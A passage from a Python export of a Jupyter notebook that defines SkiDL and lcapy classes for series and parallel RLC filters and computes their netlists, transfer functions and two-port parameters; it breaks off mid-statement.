1/(angfreq_0*R_sym*C_sym)); Qs_eq\n\n\n# In[53]:\n\n\nsubs[C_sym]=sym.solve(Qs_eq, C_sym)[0].subs(subs); subs\n\n\n# In[54]:\n\n\nangfreq_0_eq=sym.Eq(angfreq_0, 1/sym.sqrt(L_sym*C_sym)); angfreq_0_eq\n\n\n# In[55]:\n\n\nsubs[L_sym]=sym.solve(angfreq_0_eq, L_sym)[0].subs(subs); subs\n\n\n# ### RLC series lowpass\n\n# In[56]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_series_lowpass filter class\n#class with lcapy and skidl subcircuit to create an RLC series lowpass filter\n\nclass rlc_series_lowpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    lowpass series RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_Lowpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC series lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, self.l[1]\n        self.l[2]+=term_2, self.c['p']\n        self.c['n']+=term_1, term_3\n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=3')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add('R 0_1 N1; right')\n        self.schematic.add('L N1 2_1; right')\n        self.schematic.add('C 2_1 1_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[57]:\n\n\n#instatate the rlc_lowpass filter \nlowpassRLC_s=rlc_series_lowpass(L_value=8.33e-5@u_H, C_value=2.7e-7@u_F, R_value=50@u_Ohm)\nlowpassRLC_s.lcapy_self()\n\n\n# In[58]:\n\n\n#get this filters abstract transfer function\nlowpassRLC_s.get_tf(with_values=False)\n\n\n# In[59]:\n\n\n#get this filters transfer function\nlowpassRLC_s.get_tf(with_values=True)\n\n\n# In[60]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nlowpassRLC_s.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[61]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Series Lowpass Filter Responce');\n\n\n# In[62]:\n\n\nfilter_responce.symbolic_tf(lowpassRLC_s)\n\n\n# ### RLC series highpass\n\n# In[63]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_series_highpass filter class\n#class with lcapy and skidl subcircuit to create an RLC series highpass filter\n\nclass rlc_series_highpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    highpass series RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_highpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC series highpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, self.c['p']\n        self.c['n']+=term_2, self.l[1]\n        self.l[2]+=term_1, term_3\n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=3')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'R 0_1 N1; right')\n        self.schematic.add(f'C N1 2_1; right')\n        self.schematic.add(f'L 2_1 1_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[64]:\n\n\n#instatate the rlc_highpass filter  \nhighpassRLC_s=rlc_series_highpass(L_value=8.33e-5@u_H, C_value=2.7e-7@u_F, R_value=50@u_Ohm)\nhighpassRLC_s.lcapy_self()\n\n\n# In[65]:\n\n\n#get this filters abstract transfer function\nhighpassRLC_s.get_tf(with_values=False)\n\n\n# In[66]:\n\n\n#get this filters transfer function\nhighpassRLC_s.get_tf(with_values=True)\n\n\n# In[67]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nhighpassRLC_s.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[68]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Series Lowpass Filter Responce');\n\n\n# In[69]:\n\n\nfilter_responce.symbolic_tf(highpassRLC_s)\n\n\n# ### RLC series bandpass\n\n# In[70]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_series_bandpass filter class\n#class with lcapy and skidl subcircuit to create an RLC series bandpass filter\n\nclass rlc_series_bandpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    bandpass series RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_bandpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC series bandpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.l[1, 2]+=term_0, self.c['p']\n        self.c['n']+=term_2, self.r[1]\n        self.r[2]+=term_1, term_3\n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=3')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'L 0_1 N1; right')\n        self.schematic.add(f'C N1 2_1; right')\n        self.schematic.add(f'R 2_1 1_1; down')\n        \n       \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[71]:\n\n\n#instatate the rlc_bandpass filter  \nbandpassRLC_s=rlc_series_bandpass(L_value=8.33e-5@u_H, C_value=2.7e-7@u_F, R_value=50@u_Ohm)\nbandpassRLC_s.lcapy_self()\n\n\n# In[72]:\n\n\n#get this filters abstract transfer function\nbandpassRLC_s.get_tf(with_values=False)\n\n\n# In[73]:\n\n\n#get this filters transfer function\nbandpassRLC_s.get_tf(with_values=True)\n\n\n# In[74]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nbandpassRLC_s.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[75]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Series Bandpass Filter Responce');\n\n\n# In[76]:\n\n\nfilter_responce.symbolic_tf(bandpassRLC_s)\n\n\n# ### RLC series bandstop\n\n# In[77]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_series_bandstop filter class\n#class with lcapy and skidl subcircuit to create an RLC series bandstop filter\n\nclass rlc_series_bandstop():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    bandstop series RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_bandstop - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC series bandstop filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, term_2\n        self.l[1, 2]+=self.r[2], self.c['p']\n        self.c['n']+=term_1, term_3\n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=2')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'R 0_1 2_1; right')\n        self.schematic.add(f'L 2_1 N1; down')\n        self.schematic.add(f'C N1 1_1; down')\n        \n       \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[78]:\n\n\n#instatate the rlc_bandstop filter\nbandstopRLC_s=rlc_series_bandstop(L_value=8.33e-5@u_H, C_value=2.7e-7@u_F, R_value=50@u_Ohm)\nbandstopRLC_s.lcapy_self()\n\n\n# In[79]:\n\n\n#get this filters abstract transfer function\nbandstopRLC_s.get_tf(with_values=False)\n\n\n# In[80]:\n\n\n#get this filters transfer function\nbandstopRLC_s.get_tf(with_values=True)\n\n\n# In[81]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nbandstopRLC_s.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[82]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Series Bandstop Filter Responce');\n\n\n# In[83]:\n\n\nfilter_responce.symbolic_tf(bandstopRLC_s)\n\n\n# ## Parallel Based\u00b6\n\n# In[84]:\n\n\nV_out, V_in, angfreq_1, angfreq_2, angfreq_0, R_sym, C_sym, L_sym, Q_sym, f_sym, f0_sym, B_sym=sym.symbols('V_{out}, V_{in}, omega_1, omega_2, omega_0, R, C, L, Q, f, f_0, B' )\nV_out, V_in, angfreq_1, angfreq_2, angfreq_0, R_sym, C_sym, L_sym, Q_sym, f_sym, f0_sym, B_sym\n\n\n# In[85]:\n\n\nf1=10.61e3; f2=106.1e3\nsubs={R_sym:50}\nsubs[angfreq_1]=2*np.pi*f1; subs[angfreq_2]=2*np.pi*f2\nsubs[angfreq_0]=np.sqrt(subs[angfreq_1]*subs[angfreq_2])\nsubs[B_sym]=subs[angfreq_2]-subs[angfreq_1]\nsubs[Q_sym]=subs[angfreq_0]/subs[B_sym]\nsubs\n\n\n# In[86]:\n\n\nQp_eq=sym.Eq(Q_sym, angfreq_0*R_sym*C_sym); Qp_eq\n\n\n# In[87]:\n\n\nsubs[C_sym]=sym.solve(Qp_eq, C_sym)[0].subs(subs); subs\n\n\n# In[88]:\n\n\nangfreq_0_eq=sym.Eq(angfreq_0, 1/sym.sqrt(L_sym*C_sym)); angfreq_0_eq\n\n\n# In[89]:\n\n\nsubs[L_sym]=sym.solve(angfreq_0_eq, L_sym)[0].subs(subs); subs\n\n\n# ### RLC parallel lowpass \n\n# In[90]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_parallel_lowpass filter class\n#class with lcapy and skidl subcircuit to create an RLC parallel lowpass filter\n\nclass rlc_parallel_lowpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    lowpass parallel RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_Lowpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC parallel lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.l[1, 2]+=term_0, term_2\n        self.c['p', 'n']+=term_2, 